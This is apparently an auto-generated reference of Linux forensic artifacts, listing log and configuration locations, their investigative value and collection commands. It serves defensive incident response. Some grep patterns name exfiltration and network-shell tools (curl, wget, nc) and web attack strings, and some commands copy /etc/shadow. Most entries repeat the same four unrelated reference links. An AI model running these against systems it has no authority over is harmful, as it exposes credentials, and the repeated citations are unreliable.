# Linux Forensic Artifacts Reference **Total Artifacts:** 41 | **Generated:** 2026-03-07 --- ## Authentication & Access ### auth.log / secure **Location:** `/var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/CentOS)` Authentication log recording all PAM-based authentication events including SSH logins, sudo usage, su escalation, user creation (useradd), password changes, and public key acceptance. **Forensic Value:** This is the primary artifact for detecting unauthorized access on Linux. Accepted publickey entries confirm SSH key-based access and log the key fingerprint, identifying which key was used. Repeated "Failed password" entries expose brute-force attacks with source IPs. Sudo command logs record the exact commands run with elevated privileges, creating an execution timeline for privileged actions even when .bash_history is cleared. **Tools:** grep, journalctl, aureport, last, lastlog **Collection Commands:** - **cp:** `cp /var/log/auth.log /forensics/output/auth.log` - **journalctl:** `journalctl -u sshd --since "2024-01-01" --output json > /forensics/output/sshd_journal.json` - **grep:** `grep -E "Failed|Accepted|session opened|sudo" /var/log/auth.log > /forensics/output/auth_filtered.log` - **tar:** `tar czf /forensics/output/auth_logs.tar.gz /var/log/auth.log*` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### /etc/passwd & /etc/shadow **Location:** `/etc/passwd and /etc/shadow` User account database (passwd) listing all local accounts with UID, GID, home directory, and login shell. Shadow file containing password hashes, last change date, and account expiration settings. **Forensic Value:** Comparing /etc/passwd against a known-good baseline reveals rogue accounts created for persistence. Accounts with UID 0 (other than root) indicate privilege escalation through account manipulation. The login shell field exposes accounts that should be nologin but were changed to /bin/bash. Password hash age in /etc/shadow identifies accounts whose credentials were recently changed during the compromise window. **Tools:** cat, grep, diff, john, hashcat **Collection Commands:** - **cp:** `cp /etc/passwd /etc/shadow /etc/group /forensics/output/` - **awk:** `awk -F: '$3 == 0 || $3 >= 1000' /etc/passwd > /forensics/output/notable_accounts.txt` - **grep:** `grep -v "nologin\|false" /etc/passwd > /forensics/output/interactive_accounts.txt` - **stat:** `stat /etc/passwd /etc/shadow > /forensics/output/account_file_timestamps.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### auditd Audit Logs (audit.log) **Location:** `/var/log/audit/audit.log (or /var/log/audit/audit.log.*)` Linux Audit daemon logs capturing kernel-level audit events configured via audit rules. Records EXECVE (command execution with full arguments), SYSCALL events, file access (PATH), user authentication (USER_AUTH), and privilege changes. **Forensic Value:** auditd provides the most granular Linux visibility available. EXECVE records capture every command executed with full arguments even when shell history is cleared or bypassed. SYSCALL events record file opens, network connections, and privilege changes at the kernel level. The audit trail is tamper-resistant when configured to write to remote syslog. aureport and ausearch enable efficient filtering by event type, user, and timeframe. **Tools:** aureport, ausearch, grep, SIEM (Splunk, Elastic) **Collection Commands:** - **tar:** `tar czf /forensics/output/audit_logs.tar.gz /var/log/audit/` - **aureport:** `aureport --summary > /forensics/output/audit_summary.txt` - **ausearch:** `ausearch -m EXECVE --start recent > /forensics/output/audit_execve.txt` - **ausearch:** `ausearch -m USER_AUTH,USER_LOGIN --start today > /forensics/output/audit_auth.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### Login Records (wtmp / btmp / lastlog) **Location:** `/var/log/wtmp, /var/log/btmp, /var/log/lastlog` Binary login record files tracking successful logins and logouts (wtmp), failed login attempts (btmp), and the most recent login per user (lastlog). Structured binary format parsed by last, lastb, and lastlog commands. **Forensic Value:** Binary login records survive text log rotation and deletion because they are written in a structured binary format that cannot be easily edited. wtmp records include login source IP, terminal, session duration, and boot/shutdown events. btmp captures failed authentication attempts with source addresses for brute-force detection. Structural analysis of these files can detect tampering through inconsistent record sizes or timestamps. **Tools:** last, lastb, lastlog, utmpdump, who **Collection Commands:** - **cp:** `cp /var/log/wtmp /var/log/btmp /var/log/lastlog /forensics/output/` - **last:** `last -f /var/log/wtmp -aiF > /forensics/output/wtmp_parsed.txt` - **lastb:** `lastb -f /var/log/btmp -aiF > /forensics/output/btmp_parsed.txt` - **utmpdump:** `utmpdump /var/log/wtmp > /forensics/output/wtmp_dump.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### /etc/group & /etc/sudoers **Location:** `/etc/group, /etc/sudoers, /etc/sudoers.d/*` Group membership file defining which users belong to which groups (including sudo, wheel, docker, adm), and sudoers configuration files defining fine-grained privilege escalation rules per user or group. **Forensic Value:** Comparing group memberships against a known-good baseline reveals unauthorized privilege escalation through group manipulation. Users added to the sudo, wheel, or docker groups gain elevated access. Modifications to /etc/sudoers (especially NOPASSWD rules) allow passwordless privilege escalation. The docker group effectively grants root access to the host. Checking /etc/sudoers.d/ for drop-in files is essential as attackers may add rules there to avoid modifying the main sudoers file. **Tools:** cat, getent group, visudo -c, diff, find **Collection Commands:** - **cp:** `cp /etc/group /etc/sudoers /forensics/output/` - **tar:** `tar czf /forensics/output/sudoers_all.tar.gz /etc/sudoers /etc/sudoers.d/` - **grep:** `grep -E "sudo|wheel|docker|adm" /etc/group > /forensics/output/privileged_groups.txt` - **grep:** `grep "NOPASSWD" /etc/sudoers /etc/sudoers.d/* > /forensics/output/nopasswd_rules.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### SSH Daemon Configuration & Host Keys **Location:** `/etc/ssh/sshd_config, /etc/ssh/sshd_config.d/*, and /etc/ssh/ssh_host_*_key*` **Also Known As:** sshd_config, ssh_host_ed25519_key, ssh_host_rsa_key OpenSSH daemon configuration files and server host keys that define listener ports, permitted authentication methods, Match blocks, allowlists, and the cryptographic identity of the host. **Forensic Value:** Reviewing sshd configuration reveals whether password auth, root login, authorized keys commands, TCP forwarding, or custom Match rules were changed to support persistence or covert access. Host-key changes can indicate system rebuilds, attacker cloning, or post-compromise tampering designed to defeat host identity checks. Combined with auth logs and authorized_keys evidence, these files establish both how the host exposed SSH access and whether that exposure changed during the incident. **Tools:** sshd, ssh-keygen, grep, find **Collection Commands:** - **sshd:** `sshd -T > /forensics/output/sshd_effective_config.txt` - **find:** `find /etc/ssh -maxdepth 2 -type f \( -name "sshd_config*" -o -name "ssh_host_*" \) -exec cp --parents {} /forensics/output/ \;` - **ssh-keygen:** `ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub > /forensics/output/ssh_hostkey_fingerprints.txt 2>/dev/null` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Packaging, include paths, and key algorithms vary by distribution and OpenSSH version. Container images and minimal builds may omit host keys or regenerate them at boot. ### SSSD Cache Databases & Logs **Location:** `/var/lib/sss/db/*, /var/lib/sss/mc/*, /etc/sssd/sssd.conf, and /var/log/sssd/*` **Also Known As:** sssd cache, /var/lib/sss/db, sssd_nss.log System Security Services Daemon cache databases, memory cache files, configuration, and debug logs used for directory-backed identity, authentication, and offline credential caching on Linux endpoints. **Forensic Value:** SSSD artifacts are critical on Linux systems joined to Active Directory, FreeIPA, or LDAP because they show how identities were resolved, when offline authentication was used, and which domain or responder handled a request. Debug logs expose failed and successful PAM/NSS transactions, while the cache databases confirm whether directory user and group data was retained locally. In identity compromise investigations, these files help determine whether the host depended on cached credentials and whether domain-backed access could continue after disconnecting from the controller. **Tools:** sssctl, cp, tar, grep **Collection Commands:** - **sssctl:** `sssctl domain-list > /forensics/output/sssd_domains.txt` - **tar:** `tar czf /forensics/output/sssd_bundle.tar.gz /etc/sssd/ /var/lib/sss/ /var/log/sssd/ 2>/dev/null` - **grep:** `grep -Rni "cache_credentials\|offline" /etc/sssd/sssd.conf /etc/sssd/conf.d/* 2>/dev/null > /forensics/output/sssd_cache_settings.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [SSSD Troubleshooting Basics](https://sssd.io/troubleshooting/basics.html) - [RHEL SSSD Credential Caching](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/pdf/configuring_authentication_and_authorization_in_rhel/configuring-sssd-to-use-ldap-and-require-tls-authentication_configuring-authentication-and-authorization-in-rhel) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - These artifacts exist only when SSSD is installed and in use. Cache contents, debug verbosity, and offline-credential behavior depend on configuration and distribution defaults. ## System Configuration ### syslog / messages **Location:** `/var/log/syslog (Debian/Ubuntu) or /var/log/messages (RHEL/CentOS)` General-purpose system log aggregating kernel messages, service start/stop events, application logs, hardware events, and daemon output via rsyslog or systemd-journald. **Forensic Value:** Syslog provides a chronological backbone for timeline reconstruction. Kernel messages reveal module loading (rootkit insertion), OOM kills (cryptominer resource exhaustion), and device attachment events. Service start/stop entries correlate with attacker persistence mechanisms being activated. When combined with auth.log timestamps, syslog fills the gaps between authentication and process execution. **Tools:** grep, journalctl, less, awk **Collection Commands:** - **cp:** `cp /var/log/syslog /forensics/output/syslog` - **tar:** `tar czf /forensics/output/syslog_all.tar.gz /var/log/syslog* /var/log/messages*` - **grep:** `grep -E "kernel|systemd|service" /var/log/syslog > /forensics/output/syslog_filtered.log` - **journalctl:** `journalctl --since "2024-01-01" --output json > /forensics/output/journal_full.json` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### Kernel Log (kern.log) **Location:** `/var/log/kern.log (Debian/Ubuntu) or kernel messages in /var/log/messages (RHEL/CentOS)` Kernel ring buffer messages logged to disk capturing hardware events, kernel module loading/unloading, memory errors, device attachment, and security subsystem messages from SELinux/AppArmor. **Forensic Value:** Kernel logs reveal rootkit activity through unexpected module loading events and kernel taint flags. USB device attachment events with serial numbers supplement physical access investigations. Out-of-memory (OOM) kill events indicate cryptominer or resource exhaustion attacks. Segmentation faults may indicate active exploitation attempts. Network interface promiscuous mode entries detect packet sniffing. **Tools:** grep, journalctl -k, dmesg, less **Collection Commands:** - **cp:** `cp /var/log/kern.log /forensics/output/kern.log` - **dmesg:** `dmesg -T > /forensics/output/dmesg_timestamped.txt` - **journalctl:** `journalctl -k --since "2024-01-01" --output json > /forensics/output/kernel_journal.json` - **grep:** `grep -E "module|usb|segfault|oom|promiscuous" /var/log/kern.log > /forensics/output/kern_suspicious.log` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### Package Manager Logs (dpkg/apt/yum) **Location:** `/var/log/dpkg.log, /var/log/apt/history.log (Debian/Ubuntu) or /var/log/yum.log, /var/log/dnf.log (RHEL/CentOS)` Package management system logs recording all software installation, removal, and upgrade operations with timestamps, package names, versions, and the action performed. **Forensic Value:** Package manager logs establish a timeline of software changes that may include attacker tool installation. Unexpected package installations (nmap, netcat, tcpdump, proxychains) indicate post-compromise reconnaissance tool deployment. Package removal logs show anti-forensic cleanup attempts. Comparing installation history against authorized change management records identifies unauthorized software deployments. **Tools:** grep, cat, dpkg --get-selections, rpm -qa, apt list --installed **Collection Commands:** - **tar:** `tar czf /forensics/output/pkg_logs.tar.gz /var/log/dpkg.log* /var/log/apt/ /var/log/yum.log* /var/log/dnf.log*` - **grep:** `grep " install " /var/log/dpkg.log > /forensics/output/dpkg_installs.log` - **cat:** `cat /var/log/apt/history.log > /forensics/output/apt_history.log` - **dpkg:** `dpkg --get-selections > /forensics/output/installed_packages.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Daemon Log (daemon.log) **Location:** `/var/log/daemon.log (Debian/Ubuntu) or filtered from /var/log/messages (RHEL/CentOS)` Log file capturing messages from system daemons and background services including cron execution, DHCP client events, network daemon messages, and miscellaneous service output not routed to dedicated log files. **Forensic Value:** Daemon logs capture cron job execution confirmations with timestamps that verify whether attacker-scheduled tasks actually ran. DHCP client messages record IP address assignments and network changes. Service start/stop messages for custom daemons installed by attackers appear here when they do not have dedicated log files. This log fills gaps between the specialized auth.log and syslog. **Tools:** grep, journalctl, less, awk **Collection Commands:** - **cp:** `cp /var/log/daemon.log /forensics/output/daemon.log` - **grep:** `grep -i "cron\|DHCP\|started\|stopped" /var/log/daemon.log > /forensics/output/daemon_filtered.log` - **journalctl:** `journalctl --facility=daemon --since "2024-01-01" --output json > /forensics/output/daemon_journal.json` - **tar:** `tar czf /forensics/output/daemon_logs.tar.gz /var/log/daemon.log*` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### SELinux / AppArmor Security Logs **Location:** `/var/log/audit/audit.log (SELinux AVC messages) or /var/log/kern.log, /var/log/syslog (AppArmor messages)` Mandatory Access Control (MAC) framework logs from SELinux (AVC denial messages in audit.log) or AppArmor (DENIED messages in kern.log/syslog). Record policy violations where processes attempted operations beyond their confined permissions. **Forensic Value:** MAC denial logs detect processes attempting to break out of their security confines, which is a hallmark of exploitation and privilege escalation. SELinux AVC denials record the exact operation blocked, the source process, and the target resource. A sudden increase in denials or denials for critical system processes indicates active exploitation. Checking the current enforcement mode (getenforce/aa-status) reveals if an attacker disabled MAC protections. **Tools:** ausearch -m AVC, sealert, aa-status, grep, journalctl **Collection Commands:** - **ausearch:** `ausearch -m AVC -ts recent > /forensics/output/selinux_avc.txt` - **grep:** `grep "apparmor.*DENIED" /var/log/syslog > /forensics/output/apparmor_denied.log` - **aa-status:** `aa-status > /forensics/output/apparmor_status.txt` - **cp:** `cp /etc/selinux/config /forensics/output/selinux_config.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### Docker Daemon Configuration **Location:** `/etc/docker/daemon.json, systemd service overrides, and docker info output` Docker host configuration including daemon.json settings, registry mirrors, log-driver selection, insecure registries, live-restore behavior, cgroup driver, and systemd unit overrides for the Docker service. **Forensic Value:** Daemon configuration explains the security posture of the host and can reveal attacker-introduced weakening such as insecure registries, debug logging changes, altered default runtimes, or log-driver choices that affect evidence retention. It also shows whether the host was configured to trust attacker-controlled registries or to bypass expected isolation settings. **Tools:** cp, systemctl, docker info, diff **Technologies:** Docker **Collection Commands:** - **cp:** `cp /etc/docker/daemon.json /forensics/output/docker_daemon.json 2>/dev/null` - **systemctl:** `systemctl cat docker > /forensics/output/docker_systemd_unit.txt` - **docker:** `docker info --format "{{json .}}" > /forensics/output/docker_info.json` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [Configure the Docker daemon](https://docs.docker.com/engine/daemon/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Daemon configuration is point-in-time evidence and may not prove who changed it without supporting audit or shell history artifacts. - Host-level service overrides and environment files should be preserved together to avoid partial configuration capture. ### Systemd Journal (Persistent Binary Logs) **Location:** `/var/log/journal//*.journal` Systemd binary journal files aggregating log output from all systemd services, kernel messages, and stdout/stderr of managed processes. Supports structured fields, forward-secure sealing (FSS), and indexed querying via journalctl. **Forensic Value:** The systemd journal aggregates logs from all sources into a single queryable binary format that may contain entries not present in traditional text log files. Forward-secure sealing (FSS) cryptographically protects log integrity, making tamper detection possible. Journal entries include structured metadata fields (unit name, PID, UID) that enable precise filtering. Persistent journals in /var/log/journal survive reboots and may retain longer history than rotated text logs. **Tools:** journalctl, systemd-journal-remote, journal-brief, SIEM (Splunk, Elastic) **Collection Commands:** - **tar:** `tar czf /forensics/output/systemd_journal.tar.gz /var/log/journal/` - **journalctl:** `journalctl --since "2024-01-01" --output json > /forensics/output/journal_export.json` - **journalctl:** `journalctl --verify > /forensics/output/journal_integrity.txt 2>&1` - **journalctl:** `journalctl -p err --since "7 days ago" > /forensics/output/journal_errors.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Local Firewall Rules (iptables/nftables) **Location:** `/etc/iptables/rules.v4, /etc/sysconfig/iptables, /etc/nftables.conf, or runtime via iptables-save/nft list ruleset` Host-based firewall rulesets defining allowed and blocked network traffic. iptables (legacy) and nftables (modern replacement) rules control inbound and outbound connections, NAT, and packet manipulation at the kernel level. **Forensic Value:** Firewall rule analysis reveals attacker modifications to open backdoor ports, permit C2 traffic, or block security tool communications. Comparing running rules (iptables-save) against persistent configuration files detects runtime-only modifications that disappear on reboot. Rules allowing inbound connections on non-standard ports indicate backdoor listeners. NAT rules may reveal traffic tunneling or port forwarding set up for pivoting. An empty or disabled firewall on a production server that should have rules is itself an indicator of tampering. **Tools:** iptables-save, iptables -L -n -v, nft list ruleset, cat, diff **Collection Commands:** - **iptables-save:** `iptables-save > /forensics/output/iptables_rules.txt` - **nft:** `nft list ruleset > /forensics/output/nftables_rules.txt` - **cp:** `cp /etc/iptables/rules.v4 /etc/sysconfig/iptables /etc/nftables.conf /forensics/output/ 2>/dev/null` - **iptables:** `iptables -L -n -v --line-numbers > /forensics/output/iptables_verbose.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### NetworkManager Connection Profiles **Location:** `/etc/NetworkManager/system-connections/*.nmconnection and legacy keyfiles under /etc/sysconfig/network-scripts/` **Also Known As:** .nmconnection, system-connections NetworkManager keyfiles describing saved Ethernet, Wi-Fi, VPN, bridge, and cellular connection profiles. Profiles retain interface names, SSIDs, VPN endpoints, proxy settings, static routes, and secrets or secret references depending on the backend. **Forensic Value:** Saved connection profiles expose the networks, VPNs, and upstream infrastructure a Linux system was configured to trust. They can reveal attacker-added rogue VPN tunnels, proxy redirection, static routes for lateral movement, or recently joined Wi-Fi networks on laptops and workstations. Because profiles persist after the interface is offline, they help reconstruct expected and unexpected connectivity long after transient runtime state is gone. **Tools:** nmcli, cat, grep, find **Collection Commands:** - **nmcli:** `nmcli connection show > /forensics/output/nmcli_connections.txt` - **find:** `find /etc/NetworkManager/system-connections -type f -exec cp --parents {} /forensics/output/ \; 2>/dev/null` - **grep:** `grep -Rni "vpn\|proxy\|ssid\|gateway\|route" /etc/NetworkManager/system-connections /etc/sysconfig/network-scripts 2>/dev/null > /forensics/output/networkmanager_profile_hits.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Only systems managed by NetworkManager maintain these profiles. Server builds may instead use network-scripts, systemd-networkd, netplan, or vendor-specific tooling. ## Execution Evidence ### .bash_history (Shell History) **Location:** `/home//.bash_history and /root/.bash_history` Per-user command history file recording shell commands entered in interactive Bash sessions. May also include .zsh_history, .ash_history, or .python_history depending on the shell and tools used. **Forensic Value:** Shell history provides a direct record of attacker commands including reconnaissance (whoami, id, uname -a), lateral movement (ssh, scp), data staging (tar, zip), and exfiltration (curl, wget, scp to external IPs). Sophisticated attackers may clear history (unset HISTFILE, history -c), but partially written history files and timestamps (if HISTTIMEFORMAT was set) often survive. Always check all user accounts including service accounts. **Tools:** cat, grep, find, strings **Collection Commands:** - **find:** `find /home /root -name ".*_history" -exec cp --parents {} /forensics/output/ \;` - **cat:** `cat /root/.bash_history > /forensics/output/root_bash_history.txt` - **grep:** `grep -rn "curl\|wget\|ssh\|scp\|nc\|base64" /home/*/.bash_history > /forensics/output/suspicious_cmds.log` - **find:** `find /home /root -name ".zsh_history" -o -name ".python_history" | xargs -I{} cp --parents {} /forensics/output/` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Web Server Access & Error Logs **Location:** `/var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log (and corresponding error logs)` HTTP server access logs recording every request with client IP, timestamp, HTTP method, URI path, query parameters, response code, bytes transferred, referrer, and user agent. Error logs capture application errors, CGI failures, and module warnings. **Forensic Value:** Web server logs are the primary artifact for web application compromise investigations. SQL injection, path traversal, webshell uploads, and RCE attempts are recorded with the full request URI and parameters. Successful webshell access appears as POST requests to unusual file paths (e.g., /uploads/cmd.php) from attacker IPs. Error logs reveal failed exploitation attempts and the specific vulnerabilities targeted. Response codes and byte sizes distinguish successful attacks from failed attempts. **Tools:** grep, awk, GoAccess, SIEM (Splunk, Elastic), Apache Scalp **Collection Commands:** - **tar:** `tar czf /forensics/output/web_logs.tar.gz /var/log/apache2/ /var/log/nginx/ /var/log/httpd/` - **grep:** `grep -E "POST.*\.(php|jsp|asp)|cmd=|exec=|/etc/passwd|\.\./" /var/log/apache2/access.log > /forensics/output/web_suspicious.log` - **awk:** `awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn > /forensics/output/web_top_ips.txt` - **grep:** `grep -i "error\|warn\|fatal" /var/log/apache2/error.log > /forensics/output/web_errors.log` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. ### Docker / Container Runtime Artifacts **Location:** `/var/lib/docker/ (containers/, image/, overlay2/, volumes/) and docker daemon logs` Docker daemon artifacts including container configurations (config.v2.json), image layers and manifests, overlay2 filesystem diffs showing container modifications, volume mounts, network settings, and container execution logs. **Forensic Value:** Container forensics is increasingly critical as attackers exploit containerized environments. Container config files reveal the image used, environment variables (potentially containing credentials), volume mounts to host directories, and privileged/capability settings. The overlay2 diff layers show files modified during container runtime, isolating attacker activity from the base image. Container logs capture application output including exploitation attempts and C2 communication. Host-mounted volumes may expose sensitive data accessible from the container. **Tools:** docker inspect, docker logs, docker diff, Autopsy, dive, container-explorer **Technologies:** Docker **Collection Commands:** - **tar:** `tar czf /forensics/output/docker_configs.tar.gz /var/lib/docker/containers/` - **docker:** `docker ps -a --no-trunc --format "{{.ID}}|{{.Image}}|{{.Command}}|{{.Status}}|{{.Ports}}" > /forensics/output/docker_containers.txt` - **docker:** `for cid in $(docker ps -aq); do docker inspect "$cid" > "/forensics/output/docker_inspect_${cid}.json"; done` - **docker:** `for cid in $(docker ps -aq); do docker logs "$cid" > "/forensics/output/docker_logs_${cid}.txt" 2>&1; done` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [Docker 